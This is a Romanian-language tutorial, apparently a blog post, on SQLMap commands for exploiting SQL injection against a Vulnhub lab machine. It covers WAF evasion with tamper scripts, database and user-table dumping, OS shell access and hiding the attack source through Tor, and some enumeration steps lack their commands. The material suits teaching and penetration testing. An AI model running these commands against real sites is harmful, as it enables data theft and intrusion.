Comenzi importante ale SQLMap

Strument SQLMap poate fi găsit în setul de instrumente al fiecărui tester de penetrare. Este unul dintre cele mai populare și mai puternice instrumente atunci când vine vorba de exploatarea vulnerabilității de injecție SQL, care la rândul său se află în fruntea listei OWASP a celor mai importante 10 vulnerabilități. De la confirmarea vulnerabilității de injecție SQL până la extragerea numelui bazei de date, a tabelelor, coloanelor și obținerea unui sistem complet, poate fi utilizat în scopuri multiple.

În acest articol, vom vedea diferite tipuri de comenzi SQLMap care pot fi utile în timpul exploatării diferitelor scenarii de injecție SQL.

SQLMap poate fi descărcat de la următoarele link-uri:

Windows

Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

În scop demonstrativ, folosesc această mașină de pe Vulnhub.

Să ne uităm la utilizarea de bază a instrumentului SQLMap pe cereri GET și POST.

sqlmap -u http://site-to-test.com/test.php?id=1 -p id

sqlmap -u http://site-to-test.com/test.php?id=1*

-u: URL de scanat

-p: parametru de scanat

*: Parametru de scanat (dacă comutatorul -p nu este furnizat)

Solicitare POST

Potem furniza datele transmise în corpul solicitării POST pentru a fi scanate de instrumentul SQLMap.

sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user

-data = POST data

O altă modalitate este de a copia cererea Burp într-un fișier și de a transmite același lucru către SQLMap.

sqlmap -r <către fișierul de cerere>

Să mergem puțin mai departe pentru a înțelege alte opțiuni oferite de instrumentul SQLMap.

Scanarea paginilor de autentificare POST

Paginile de autentificare POST sunt autorizate de antetul cookie, care este trecut în antetul HTTP al unei cereri GET/POST. Pentru a scana pagina (paginile) de autentificare a posturilor, trebuie să furnizăm cookie-ul valid către SQLMap.

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”valoare cookie”

/admin/index.php?id=1 este o pagină de autentificare a posturilor.

În mod similar, multe dintre pagini sunt protejate de antetul User-Agent sau Referrer. Același lucru poate fi inclus în comanda:

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php

În plus, putem randomiza antetul user-agent folosind opțiunea -random-agent.

CRAWL

Crawl este o opțiune importantă care permite instrumentului SQLMap să parcurgă site-ul web, pornind de la locația rădăcină. Adâncimea de căutare poate fi definită în comanda:

sqlmap -u http://192.168.202.160/ -crawl=1

-crawl: Definiți o adâncime pentru crawl. (Exemplu: Definirea lui 2 va permite instrumentului să parcurgă până la două directoare)

Dacă dorim să excludem orice pagină din domeniul de aplicare al crawlerului, putem defini prin -crawl-exclude. Aceasta este o opțiune utilă atunci când căutăm o pagină de logare a unui post.

sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”valoare cookie” -crawl-exclude=”logout”

Această comandă va căuta pe site-ul web până la trei directoare și va exclude orice URL în care este prezent cuvântul cheie „logout”.

Așa cum puteți vedea mai jos, SQLMap a parcurs site-ul web, dar a exclus URL-ul logout.

Să rulăm aceeași comandă fără opțiunea -crawl-exclude:

Cum se vede mai jos, atunci când -crawl-exclude nu este definit, SQLMap a cercetat URL-ul de logout. Acest lucru ar permite ca sesiunea existentă să fie invalidată (din cauza deconectării) și să nu finalizeze scanarea.

SQLMap Through Proxy

Potem defini detaliile unui proxy de unde permitem să treacă cererea. Dacă dorim să trecem cererea printr-un instrument proxy, cum ar fi Burp, pornim Burp Suite și îl configurăm să ruleze pe localhost pe portul 8080. Acum utilizați următoarea comandă SQLMap:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″

Acum, gândiți-vă la un scenariu în care cuvintele cheie sqlinjection precum OrderBy și Union sunt pe lista neagră a serverului. Putem ocoli aceste tipuri de implementări prin utilizarea tehnicii camel casing. Vom folosi SQLMap pentru a trimite traficul către Burp și vom folosi caracteristica „match and replace” a Burp pentru a ocoli restricția de mai sus.

Caracteristica Match and Replace poate fi găsită în fila „Options”, sub fila „Proxy” a Burp.

Aceasta va verifica dacă cererea are un cuvânt cheie precum „union”. Dacă da, atunci îl înlocuiește cu „UnIoN.”

Într-un scenariu în care aplicația este accesibilă doar prin intermediul unui server proxy, aceasta poate fi definită folosind următoarea comandă:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=numele de utilizator:parola

Batch

Comanda batch este utilizată pentru sesiuni non-interactive. Atunci când încercăm să scanăm ceva, este posibil ca SQLMap să ne ceară să furnizăm date de intrare în timpul scanării: de exemplu, în timpul utilizării funcției de căutare, instrumentul întreabă utilizatorul dacă acesta dorește să scaneze URL-ul identificat. Atunci când -batch este definit în comandă, instrumentul utilizează o valoare implicită pentru a continua fără a întreba utilizatorul.

Form

Un URL de pagină cu un câmp de formular (de exemplu, pagina de conectare) poate fi furnizat împreună cu opțiunea -form pentru a analiza pagina și a ghida utilizatorul să testeze câmpurile identificate.

Acum, paginile cu un număr mare de câmpuri de formular pot fi testate eficient folosind împreună opțiunea -form și opțiunea -batch. Aceasta va analiza pagina și va verifica dacă există câmpuri de formular și va furniza automat datele de intrare în numele utilizatorului.

Dacă întreaga aplicație trebuie să fie scanată, se poate utiliza opțiunea crawl împreună cu form și switch.

Threads

Opțiunea threads permite utilizatorului să definească numărul de cereri concurente care vor fi trimise de instrumentul SQLMap. Acest lucru ar reduce timpul total de testare. Aceasta nu ar trebui să fie menținută la o valoare mai mare, deoarece ar putea avea un impact asupra acurateței rezultatului.

Risk and Level

Risk permite tipul de sarcini utile utilizate de instrument. În mod implicit, acesta utilizează valoarea 1 și poate fi configurat până la nivelul 3. Nivelul 3, fiind cel maxim, include unele interogări SQL grele.

Nivelul definește numărul de verificări/încărcătură utilă care urmează să fie efectuate. Valoarea variază de la 1 la 5. 5, fiind maximul, include un număr mare de payload-uri în scanare.

Se recomandă ca riscul și nivelul să fie crescute dacă SQLMap nu este capabil să detecteze injecția în setările implicite.

Verbose

În cazul în care dorim să vedem payload-ul trimis de instrument, putem folosi opțiunea verbose. Valorile variază de la 1 la 6.

Denumerația bazei de date

Cum știm că SQLMap este folosit în principal pentru exploatarea injecțiilor SQL, să vedem câteva dintre comenzile pentru a enumera baza de date printr-o aplicație vulnerabilă la injecția SQL.

1. -dbs: Această opțiune este utilizată pentru a enumera baza de date.

2. Acum avem numele bazei de date. Pentru a extrage tabelul pentru baza de date „photoblog”, executați următoarea comandă:

3. Pentru a extrage detaliile coloanelor din tabelul „users”, executați următoarea comandă:

4. Pentru a extrage datele pentru tabelul „users”, utilizați comanda -dump:

5. Pentru a identifica utilizatorul curent al bazei de date:

6. Pentru a identifica numele curent al bazei de date:

7. Pentru a identifica privilegiile, rolurile și dacă utilizatorul actual al bazei de date este administratorul bazei de date:

Depășirea WAF folosind Tamper Script

De multe ori, ne întâlnim cu un scenariu în care aplicația este păstrată în spatele firewall-ului aplicației web (WAF). Pentru a verifica dacă site-ul este protejat de WAF, putem utiliza următoarele opțiuni:

-identify-waf

După ce WAF-ul este identificat, putem utiliza scriptul de manipulare pentru a ataca aplicațiile protejate de WAF. Scriptul de manipulare poate modifica cererea pentru a scăpa de detectarea WAF. Scripturile pot fi găsite în directorul /usr/share/sqlmap/tamper/.

Executarea comenzilor de sistem

Putem executa comenzi la nivel de sistem/sistem dacă utilizatorul curent al bazei de date are drepturi DBA. Putem folosi următoarele opțiuni:

Pentru un server Linux:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell

Pentru un server Windows:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>

Executarea interogărilor SQL

Potem rula instrucțiunea SQL pe baza de date prin următoarele comenzi:

sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell

Alte opțiuni

Câteva alte opțiuni includ:

1. Scanarea unei pagini protejate prin autentificare HTTP, cum ar fi Basic, NTLM și Digest:

sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred „admin:admin”

2. Scanarea unei pagini protejate printr-o autentificare bazată pe cheie

sqlmap -u http://example.com/admin.aspx -auth-file=<către certificatul PEM sau fișierul cu cheie privată>

3. Pentru a randomiza IP-urile de atac (acest lucru poate fi de ajutor în cazuri precum detectarea WAF sau atunci când ascunderea sursei de atac ar crește dificultatea de urmărire a IP-ului).

Pentru a utiliza rețeaua anonimă Tor implicită:

sqlmap -u http://example.com/admin.aspx -tor

Pentru a defini un port Tor:

sqlmap -u http://example.com/admin.aspx -tor-port=<port proxy Tor>

4. Dacă este necesară o întârziere între fiecare solicitare HTTP:

sqlmap -u http://example.com/admin.aspx -delay=1 #1 secundă întârziere

5. Dacă o pagină este protejată de un token CSRF, putem include același lucru în comandă:

sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf token>

Injecție SQL de ordinul doi: În acest tip de injecție SQL, sarcina utilă SQL este stocată în baza de date și recuperată ulterior la accesarea unei alte pagini. Noi furnizăm o adresă URL, care va fi solicitată de instrumentul SQLMap după fiecare injecție. Putem instrui instrumentul SQLMap să testeze această injecție folosind următoarele comenzi:

sqlmap -r /root/Desktop/Burp.txt -second-order „http://target/vulnerbalepage.php”

The Burp.txt conține cererea pe care urmează să fie efectuată injecția.

-second-order „URL” conține URL-ul care va fi accesat de SQLMap după fiecare injecție.

Concluzie

Lasă un răspuns

Adresa ta de email nu va fi publicată.